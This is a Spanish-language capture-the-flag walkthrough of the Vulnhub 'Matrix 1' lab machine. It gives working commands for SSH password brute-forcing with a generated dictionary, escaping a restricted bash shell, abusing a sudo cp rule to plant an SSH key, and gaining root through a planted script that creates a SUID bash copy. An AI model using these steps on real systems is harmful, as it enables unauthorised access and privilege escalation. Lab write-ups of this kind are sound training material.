Matrix 1 – Vulnhub Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy
- Platform / Plataforma: Vulnhub
Resumen Link to heading
Matrix 1
es una máquina fácil y gratuita basada en Linux
de la plataforma Vulnhub
. Luego de un escaneo inicial sobre los puertos TCP
abiertos, Ă©stos muestran que la máquina vĂctima está corriendo sitios web en 2 puertos distintos: 80
y 31337
. Visitando el clásico puerto 80
nos da una pista que nos lleva al sitio del puerto 31337
. Mirando el código fuente de la segunda página tiene un texto encodeado que nos da la ubicación de un archivo oculto. Revisando este archivo oculto nos da información acerca de un usuario y potencial contraseña; pero la contraseña está dada a medias. Tenemos que intentar distintas combinaciones de esta posible contraseña a través de un Brute Force Password Login
(intentos de logueo por fuerza bruta) a través del servicio SSH
hasta que encontramos una contraseña válida. Una vez dentro como este usuario vemos que puede correr el binario cp
(copy/copiar) como otro usuario dentro de la máquina vĂctima; esto nos permita copiar una key de SSH
dentro de los directorios de este usuario; garantizándonos asà acceso a través de SSH
. Este nuevo usuario puede correr un script con sudo
como root
. No obstante, este script no existe. De manera que podemos crear un script con un nombre que permite correrlo con sudo
y asĂ convertirnos en root
.
User / Usuario Link to heading
Empezamos con un scan con Nmap
para chequear qué puertos TCP
están abiertos en la máquina vĂctima:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.20.1.122
Del primer scan podemos ver 3 puertos abiertos: 22
SSH
, 80
HTTP
y 31337
HTTP
también. Chequeando versiones sobre estos puertos, tenemos:
❯ sudo nmap -sVC -p22,80,31337 10.20.1.122 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 22:58 -04
Nmap scan report for 10.20.1.122
Host is up (0.00039s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 9c:8b:c7:7b:48:db:db:0c:4b:68:69:80:7b:12:4e:49 (RSA)
| 256 49:6c:23:38:fb:79:cb:e0:b3:fe:b2:f4:32:a2:70:8e (ECDSA)
|_ 256 53:27:6f:04:ed:d1:e7:81:fb:00:98:54:e6:00:84:4a (ED25519)
80/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
|_http-title: Welcome in Matrix
|_http-server-header: SimpleHTTP/0.6 Python/2.7.14
31337/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.14
|_http-title: Welcome in Matrix
MAC Address: 08:00:27:4E:2D:7A (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.74 seconds
Usando WhatWeb
en ambos sitios HTTP
nos muestra que ambos sitios web están corriendo usando Python
:
❯ whatweb -a 3 http://10.20.1.122
http://10.20.1.122 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[SimpleHTTP/0.6 Python/2.7.14], IP[10.20.1.122], JQuery, Python[2.7.14], Script[text/javascript], Title[Welcome in Matrix]
❯ whatweb -a 3 http://10.20.1.122:31337
http://10.20.1.122:31337 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[SimpleHTTP/0.6 Python/2.7.14], IP[10.20.1.122], JQuery, Python[2.7.14], Script[text/javascript], Title[Welcome in Matrix]
Visitando http://10.20.1.122
(en el puerto 80
de la máquina vĂctima) nos muestra una simple página web:
AquĂ puedo leer el texto “Follow the Rabbit” (sigue al conejo), lo cual puede ser una pista.
Analizando el código fuente de la página del puerto 80
(Ctrl+U en Firefox
, o usando cURL
) puedo ver algo:
❯ curl -s http://10.20.1.122
<!DOCTYPE html>
<html>
<head>
<SNIP>
<!-- service -->
<div class="service"><img src="assets/img/p0rt_31337.png"/ width="15">
</div><!-- End / service -->
<SNIP>
Hay un archivo con un nombre peculiar: /assets/img/p0rt_31337.png
. Visitando http://10.20.1.122/assets/img/p0rt_31337.png
sĂłlo muestra la imagen de un conejito:
DeberĂamos de seguir las pistas dadas por el nombre de la imagen p0rt_31337.png
y visitar http://10.20.1.122:31337
. Ahora podemos ver una página web similar:
Mirando de nuevo el código fuente de esta nueva página en este nuevo puerto con cURL
tenemos un texto encodeado:
❯ curl -s http://10.20.1.122:31337
<!DOCTYPE html>
<html>
<head>
<title>Welcome in Matrix</title>
<SNIP>
<!-- service -->
<div class="service">
<!--p class="service__text">ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=</p-->
</div><!-- End / service -->
<SNIP>
Este texto está, aparentemente, encodedeado en base64
. Podemos tratar de decodearlo:
❯ echo 'ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=' | base64 -d
echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix
Aquà puedo ver que se está utilizando el comando echo
de UNIX
sobre un texto y guardándola en un archivo Cypher.matrix
. ÂżQuĂ© tal si este archivo existe en la máquina vĂctima? Podemos corroborarlo rápidamente usando cURL
sobre este recurso (si existe) en consola:
❯ curl -s http://10.20.1.122:31337/Cypher.matrix
+++++ ++++[ ->+++ +++++ +<]>+ +++++ ++.<+ +++[- >++++ <]>++ ++++. +++++
+.<++ +++++ ++[-> ----- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]> +++.-
-.<++ +[->+ ++<]> ++++. <++++ ++++[ ->--- ----- <]>-- ----- ----- --.<+
+++++ ++[-> +++++ +++<] >++++ +.+++ +++++ +.+++ +++.< +++[- >---< ]>---
---.< +++[- >+++< ]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< +++++ +++[-
>++++ ++++< ]>+++ +++++ +.+++ ++.++ ++++. ----- .<+++ +++++ [->-- -----
-<]>- ----- ----- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ +.<++
+[->- --<]> ---.< ++++[ ->+++ +<]>+ ++.-- .---- ----- .<+++ [->++ +<]>+
+++++ .<+++ +++++ +[->- ----- ---<] >---- ---.< +++++ +++[- >++++ ++++<
]>+.< ++++[ ->+++ +<]>+ +.<++ +++++ ++[-> ----- ----< ]>--. <++++ ++++[
->+++ +++++ <]>++ +++++ .<+++ [->++ +<]>+ ++++. <++++ [->-- --<]> .<+++
[->++ +<]>+ ++++. +.<++ +++++ +[->- ----- --<]> ----- ---.< +++[- >---<
]>--- .<+++ +++++ +[->+ +++++ +++<] >++++ ++.<+ ++[-> ---<] >---- -.<++
+[->+ ++<]> ++.<+ ++[-> ---<] >---. <++++ ++++[ ->--- ----- <]>-- -----
-.<++ +++++ +[->+ +++++ ++<]> +++++ +++++ +++++ +.<++ +[->- --<]> -----
-.<++ ++[-> ++++< ]>++. .++++ .---- ----. +++.< +++[- >---< ]>--- --.<+
+++++ ++[-> ----- ---<] >---- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++++
.<+++ ++++[ ->--- ----< ]>--- ----- -.<++ +++++ [->++ +++++ <]>++ +++++
+++.. <++++ +++[- >---- ---<] >---- ----- --.<+ +++++ ++[-> +++++ +++<]
>++.< +++++ [->-- ---<] >-..< +++++ +++[- >---- ----< ]>--- ----- ---.-
--.<+ +++++ ++[-> +++++ +++<] >++++ .<+++ ++[-> +++++ <]>++ +++++ +.+++
++.<+ ++[-> ---<] >---- --.<+ +++++ [->-- ----< ]>--- ----. <++++ +[->-
----< ]>-.< +++++ [->++ +++<] >++++ ++++. <++++ +[->+ ++++< ]>+++ +++++
+.<++ ++[-> ++++< ]>+.+ .<+++ +[->- ---<] >---- .<+++ [->++ +<]>+ +..<+
++[-> +++<] >++++ .<+++ +++++ [->-- ----- -<]>- ----- ----- --.<+ ++[->
---<] >---. <++++ ++[-> +++++ +<]>+ ++++. <++++ ++[-> ----- -<]>- ----.
<++++ ++++[ ->+++ +++++ <]>++ ++++. +++++ ++++. +++.< +++[- >---< ]>--.
--.<+ ++[-> +++<] >++++ ++.<+ +++++ +++[- >---- ----- <]>-- -.<++ +++++
+[->+ +++++ ++<]> +++++ +++++ ++.<+ ++[-> ---<] >--.< ++++[ ->+++ +<]>+
+.+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
+.+++ .---- ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++
+++[- >++++ ++++< ]>+++ .++++ +.--- ----. <++++ [->++ ++<]> +.<++ ++[->
----< ]>-.+ +.<++ ++[-> ++++< ]>+.< +++[- >---< ]>--- ---.< +++[- >+++<
]>+++ +.+.< +++++ ++++[ ->--- ----- -<]>- -.<++ +++++ ++[-> +++++ ++++<
]>++. ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++ +[->+
+++++ <]>++ +++.< +++++ +[->- ----- <]>-- ---.< +++++ +++[- >++++ ++++<
]>+++ +++++ .---- ---.< ++++[ ->+++ +<]>+ ++++. <++++ [->-- --<]> -.<++
+++++ +[->- ----- --<]> ----- .<+++ +++++ +[->+ +++++ +++<] >+.<+ ++[->
---<] >---- .<+++ [->++ +<]>+ +.--- -.<++ +[->- --<]> --.++ .++.- .<+++
+++++ [->-- ----- -<]>- ---.< +++++ ++++[ ->+++ +++++ +<]>+ +++++ .<+++
[->-- -<]>- ----. <+++[ ->+++ <]>++ .<+++ [->-- -<]>- --.<+ +++++ ++[->
----- ---<] >---- ----. <++++ +++[- >++++ +++<] >++++ +++.. <++++ +++[-
>---- ---<] >---- ---.< +++++ ++++[ ->+++ +++++ +<]>+ ++.-- .++++ +++.<
+++++ ++++[ ->--- ----- -<]>- ----- --.<+ +++++ +++[- >++++ +++++ <]>++
+++++ +.<++ +[->- --<]> -.+++ +++.- --.<+ +++++ +++[- >---- ----- <]>-.
<++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ .++++ +++++ .<+++ +[->- ---<]
>--.+ +++++ ++.<+ +++++ ++[-> ----- ---<] >---- ----- --.<+ +++++ ++[->
+++++ +++<] >+.<+ ++[-> +++<] >++++ .<+++ [->-- -<]>- .<+++ +++++ [->--
----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++ +++.< +++[-
>---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]>
+++.< +++[- >+++< ]>+++ .+++. .<+++ [->-- -<]>- ---.- -.<++ ++[-> ++++<
]>+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
.+.-- .---- ----- .++++ +.--- ----. <++++ ++++[ ->--- ----- <]>-- -----
.<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ ++++. ----- ----. <++++ ++++[
->--- ----- <]>-- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ ++++.
<+++[ ->--- <]>-- ----. <++++ [->++ ++<]> ++..+ +++.- ----- --.++ +.<++
+[->- --<]> ----- .<+++ ++++[ ->--- ----< ]>--- --.<+ ++++[ ->--- --<]>
----- ---.- --.<
AquĂ puedo ver un texto “random”. No obstante, esta es la sintaxis que usualmente se utiliza para el lenguage Brainfuck
, usualmente. Podemos ir a esta página, copiar el texto hallado en el archivo Cypher.matrix
y pasárselo a la página para decodearlo. Decodearlo nos muestra un mensaje:
You can enter into matrix as guest, with password k1ll0rXX
Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.
Basados en el texto, tenemos un usuario guest
con contraseña k1ll0rXX
, donde XX
puede ser una combinaciĂłn de caracteres. Es asĂ como nos creamos un simple script en Python
para crear un diccionario:
import string
def create_dictionary(filename: str)->None:
characters: list[str] = list(string.digits + string.ascii_uppercase + string.ascii_lowercase + string.punctuation)
base_password: str = 'k1ll0r'
with open(filename, 'w') as f:
for char1 in characters:
for char2 in characters:
f.write(base_password + char1 +char2 + "\n")
print(f"[+] Dictionary saved as {filename!r}")
if __name__ == "__main__":
create_dictionary("password.dic")
Este script creará un diccionario llamado password.dic
con las posibles contraseñas.
Corremos en una terminal:
❯ python3 create_dictionary.py
[+] Dictionary saved as 'password.dic'
Es entonces que podemos usar la herramienta NetExec
para performar un Brute Force Password Login
(intentar loguearse por fuerza bruta) a través del servicio SSH
(que pudimos identificar que estaba corriendo en la máquina vĂctima gracias al scan inicial):
❯ netexec ssh 10.20.1.122 -u guest -p password.dic
SSH 10.20.1.122 22 10.20.1.122 [*] SSH-2.0-OpenSSH_7.7
SSH 10.20.1.122 22 10.20.1.122 [-] guest:k1ll0r00 Authentication failed.
SSH 10.20.1.122 22 10.20.1.122 [-] guest:k1ll0r01 Authentication failed.
SSH 10.20.1.122 22 10.20.1.122 [-] guest:k1ll0r02 Authentication failed.
<SNIP>
SSH 10.20.1.122 22 10.20.1.122 [-] guest:k1ll0r7l Authentication failed.
SSH 10.20.1.122 22 10.20.1.122 [-] guest:k1ll0r7m Authentication failed.
SSH 10.20.1.122 22 10.20.1.122 [+] guest:k1ll0r7n (Pwn3d!) (root) Linux - Shell access!
Tenemos credenciales guest:k1ll0r7n
Y nos podemos conectar SSH
con estas credenciales:
❯ sshpass -p 'k1ll0r7n' ssh -o stricthostkeychecking=no guest@10.20.1.122
Last login: Mon Aug 6 16:25:44 2018 from 192.168.56.102
guest@porteus:~$ whoami
-rbash: whoami: command not found
No obstante, al instante noto que estamos dentro de una Restricted Bash
. Para escapar de este ambiente restringido (siguiendo algunos ejemplos de esta página), podemos cerrar la sesión de SSH
, reconectarnos y escapar de esta usando la flag -t
para spawnear una shell con bash
; escapando del ambiente restringido:
❯ sudo sshpass -p 'k1ll0r7n' ssh -o stricthostkeychecking=no guest@10.20.1.122 -t bash
guest@porteus:~$ whoami
guest
Ahora que hemos escapado, noto que podemos correr 2 comandos con sudo
:
guest@porteus:~$ sudo -l
User guest may run the following commands on porteus:
(ALL) ALL
(root) NOPASSWD: /usr/lib64/xfce4/session/xfsm-shutdown-helper
(trinity) NOPASSWD: /bin/cp
El primer binario ni siquiera existe en el sistema. Sin embargo, /bin/cp
es interesante dado que podemos correrlo como el usuario trinity
. Inspeccionando /home/trinity
es intersante dado que tenemos una carpeta .ssh
:
guest@porteus:~$ ls -la /home/trinity
total 80
drwxr-xr-x 14 trinity trinity 4096 Aug 6 2018 ./
drwxr-xr-x 7 root root 4096 Aug 6 2018 ../
-rw------- 1 trinity trinity 52 Aug 6 2018 .Xauthority
-rw------- 1 trinity trinity 2370 Aug 13 2018 .bash_history
drwxr-xr-x 5 trinity trinity 4096 Aug 6 2018 .cache/
drwxr-xr-x 11 trinity trinity 4096 Aug 6 2018 .config/
drwx------ 3 trinity trinity 4096 Aug 6 2018 .dbus/
-rw------- 1 trinity trinity 16 Aug 6 2018 .esd_auth
-rw-r--r-- 1 trinity trinity 3729 Oct 23 2017 .screenrc
drwxr-xr-x 2 trinity trinity 4096 Aug 15 05:02 .ssh/
drwx------ 4 trinity trinity 4096 Aug 6 2018 .thumbnails/
drwxr-xr-x 2 trinity trinity 4096 Aug 6 2018 Desktop/
drwxr-xr-x 2 trinity trinity 4096 Aug 6 2018 Documents/
drwxr-xr-x 2 trinity trinity 4096 Aug 6 2018 Downloads/
drwxr-xr-x 2 trinity trinity 4096 Aug 6 2018 Music/
drwxr-xr-x 2 trinity trinity 4096 Aug 6 2018 Pictures/
drwxr-xr-x 2 trinity trinity 4096 Aug 6 2018 Public/
drwxr-xr-x 2 trinity trinity 4096 Aug 6 2018 Videos/
-rwxr-xr-x 1 trinity trinity 6056 Aug 6 2018 python*
El plan a realizar es simple:
- Crear una key
SSH
en nuestra máquina de atacante. Esto creará 2 archivos:id_rsa
yid_rsa.pub
. - Abusando del binario
/bin/cp
consudo
, podemos correrlo como el usuariotrinity
y copiar el contenido deid_rsa.pub
y pasarlo al archivo/home/trinity/.ssh/authorized_keys
. De manera que, básicamente, estamos agregando nuestra key deSSH
como una key autorizada; esto nos permitirá loguearnos como el usuariotrinity
a través deSSH
. Para ello podemos tomar como ejemploGTFOBins
a través de su página web para el comandocp
. - Una vez la key ha sido agregada, la usamos para loguearnos via
SSH
como el usuariotrinity
.
De manera que, primero, creamos una key SSH
en nuestra máquina de atacantes:
❯ ssh-keygen -t rsa -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_rsa): /home/gunzf0x/OtherMachines/VulnHub/Matrix1/content/fake_trinity_id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/gunzf0x/OtherMachines/VulnHub/Matrix1/content/fake_trinity_id_rsa
Your public key has been saved in /home/gunzf0x/OtherMachines/VulnHub/Matrix1/content/fake_trinity_id_rsa.pub
The key fingerprint is:
SHA256:WJKS4PHjX7iqzLGcmNdoqFBE+fnYr8r1uIBICsLUM0U gunzf0x@kali
The key's randomart image is:
+---[RSA 4096]----+
| +..E |
| oo+.. . |
| .o==.o . |
|o. .=o = |
|oo. .+o S |
|=o ...oo |
|+.oo. +. |
|o*+=.+ o. |
|=oB.+.+o. |
+----[SHA256]-----+
de donde he guardado esta con el nombre fake_trinity_id_rsa
.
Esto crea 2 archivos en mi directorio, uno llamado fake_trinity_id_rsa
y otro llamado fake_trinity_id_rsa.pub
:
❯ ls -la
total 504
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Aug 15 00:58 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Aug 14 22:48 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 4121 Aug 14 23:23 Cypher.matrix
-rw------- 1 gunzf0x gunzf0x 3381 Aug 15 00:58 fake_trinity_id_rsa
-rw-r--r-- 1 gunzf0x gunzf0x 738 Aug 15 00:58 fake_trinity_id_rsa.pub
-rw-rw-r-- 1 gunzf0x gunzf0x 481401 Aug 13 2018 p0rt_31337.png
Leyendo el contenido del archivo fake_trinity_id_rsa.pub
tenemos:
❯ cat fake_trinity_id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpPGpmsDAWRBQ1HEUpbsClL6Bdh11NyrkQAKFPUaXVDap0UEHrUWB22hyxtFkMt0Xkqkco6d4TZhZYDyeshHM1vVaaMAcs2f1b6GLRpmkWLxGPtD0jriUsoTR0tcJJHp4ZWnUqeB2o0/6ZtA43kRRxFoGI7aNfVHaBzs2BPOjjciHIlKFTuxYUYWqubZO5FQA2xhD+GlmN9wKDSirl+CluMwj4h2RTXWXCRcSbNF5wIoSpitUSCyRiSUBnCNttdlhfrclU33MZiNF1q3TOs4J3wK6jGoJmbE/lI/RvNRvqwwTPMWFyhRKUwSGilRa0646OEyDf5Pmnd5Dk11qqc5tHFnwwRel3faaIjVxiKfiMdU4VsAy/7b34LSPayubj3wq/hi2SPJjEa2mvwItNK74UweZOkIeY1i0w1YEY2UHbQQHhELeMBzT9OGizeOCPd6eAaufdo/8wl6fxyffrxCKQE6nD60Fox701Tn7hJlD6lubKqS/BveI/ukwkkpWIdJL7cN3Vs/4k3eJQ4Pm+JosoNfFUx6/h6VoLO0t0IWSmYHdt0gV+O0UOkElw0U67VktA5LC3EdKkXCVGuSCvygSG5OTGBxCue7hYIDSqScwBAcT1szvMw8aRcpe5EOgep8wipe9d0MA3MZtWQdwBgxv55HVNH4d86E3ilT76O2q4OQ== gunzf0x@kali
Copio el contenido de este archivo y lo guardo en la máquina vĂctima como el archivo /tmp/temp_key
:
guest@porteus:~$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpPGpmsDAWRBQ1HEUpbsClL6Bdh11NyrkQAKFPUaXVDap0UEHrUWB22hyxtFkMt0Xkqkco6d4TZhZYDyeshHM1vVaaMAcs2f1b6GLRpmkWLxGPtD0jriUsoTR0tcJJHp4ZWnUqeB2o0/6ZtA43kRRxFoGI7aNfVHaBzs2BPOjjciHIlKFTuxYUYWqubZO5FQA2xhD+GlmN9wKDSirl+CluMwj4h2RTXWXCRcSbNF5wIoSpitUSCyRiSUBnCNttdlhfrclU33MZiNF1q3TOs4J3wK6jGoJmbE/lI/RvNRvqwwTPMWFyhRKUwSGilRa0646OEyDf5Pmnd5Dk11qqc5tHFnwwRel3faaIjVxiKfiMdU4VsAy/7b34LSPayubj3wq/hi2SPJjEa2mvwItNK74UweZOkIeY1i0w1YEY2UHbQQHhELeMBzT9OGizeOCPd6eAaufdo/8wl6fxyffrxCKQE6nD60Fox701Tn7hJlD6lubKqS/BveI/ukwkkpWIdJL7cN3Vs/4k3eJQ4Pm+JosoNfFUx6/h6VoLO0t0IWSmYHdt0gV+O0UOkElw0U67VktA5LC3EdKkXCVGuSCvygSG5OTGBxCue7hYIDSqScwBAcT1szvMw8aRcpe5EOgep8wipe9d0MA3MZtWQdwBgxv55HVNH4d86E3ilT76O2q4OQ== gunzf0x@kali' > /tmp/temp_key
Abusando del permiso asignado a /bin/cp
, agregamos la key como authorized_keys
junto con sudo
:
guest@porteus:~$ sudo -u trinity /bin/cp /tmp/temp_key /home/trinity/.ssh/authorized_keys
Ahora podemos tratar de loguearnos via SSH
como el usuario trinity
:
❯ ssh -i fake_trinity_id_rsa trinity@10.20.1.122
Last login: Mon Aug 6 16:37:45 2018 from 192.168.56.102
trinity@porteus:~$ whoami
trinity
Root Link to heading
Revisando qué es lo que puede correr este nuevo usuario con sudo
tenemos:
trinity@porteus:~$ sudo -l
User trinity may run the following commands on porteus:
(root) NOPASSWD: /home/trinity/oracle
vemos que podemos correr el archivo /home/trinity/oracle
como root
sin proveer una contraseña.
Sin embargo, noto que no existe ningĂşn archivo llamado /home/trinity/oracle
en el directorio /home/trinity
(como podemos ver de los logs mostrados un poco más arriba). ¿Qué tal si creamos un script malicioso en el directorio /home/trinity/
llamado oracle
? Para esto creamos un simple script en Bash
como sigue:
#!/bin/bash
cp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x
Este script crea una copia del /bin/bash
y, a aquella copia, le asigna permisos SUID
. Dado que el propietario root
, seremos capaches de correr un binario bash
con permisos del dueño ( que será root
) y spawnear una shell como este usuario.
Podemos crear este archivo a través de un oneliner de Bash
y luego asignarle permisos de ejecuciĂłn al script creado con el comando chmod +x
:
trinity@porteus:~$ echo -e '#!/bin/bash\ncp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x' > /home/trinity/oracle
trinity@porteus:~$ chmod +x /home/trinity/oracle
Ahora, corro el script malicioso abusando del privilegio con sudo
:
trinity@porteus:~$ sudo /home/trinity/oracle
Si chequeamos el directorio /tmp
, nuestro archivo malicioso está allĂ:
trinity@porteus:~$ ls -la /tmp
total 1216
drwxrwxrwt 31 root root 4096 Aug 15 05:30 ./
drwxr-xr-x 51 root root 4096 Aug 6 2018 ../
<SNIP>
-rw-r--r-- 1 root root 2 Aug 6 2018 .psclock
-rwsr-xr-x 1 root root 1102944 Aug 15 05:30 gunzf0x*
drwxr-xr-x 4 root root 4096 Aug 13 2018 server/
drwx------ 2 guest users 4096 Aug 6 2018 ssh-0WcT6GDX7jGP/
<SNIP>
donde puedo ver los permisos de Ă©ste como -rwsr-xr-x
; lo cual indica que tiene permisos SUID
.
Corro la copia de bash
con la flag -p
para convertirnos en el usuario root
:
trinity@porteus:~$ /tmp/gunzf0x -p
trinity@porteus:~# whoami
root
y eso es todo.
Podemos ver el contenido del directorio /root
para ver la Ăşltima flag:
trinity@porteus:~# cat /root/flag.txt
_,-.
,-' _| EVER REWIND OVER AND OVER AGAIN THROUGH THE
|_,-O__`-._ INITIAL AGENT SMITH/NEO INTERROGATION SCENE
|`-._\`.__ `_. IN THE MATRIX AND BEAT OFF
|`-._`-.\,-'_| _,-'.
`-.|.-' | |`.-'|_ WHAT
| |_|,-'_`.
|-._,-' | NO, ME NEITHER
jrei | | _,'
'-|_,-' IT'S JUST A HYPOTHETICAL QUESTION
¡Máquina completada!
~ Happy Hacking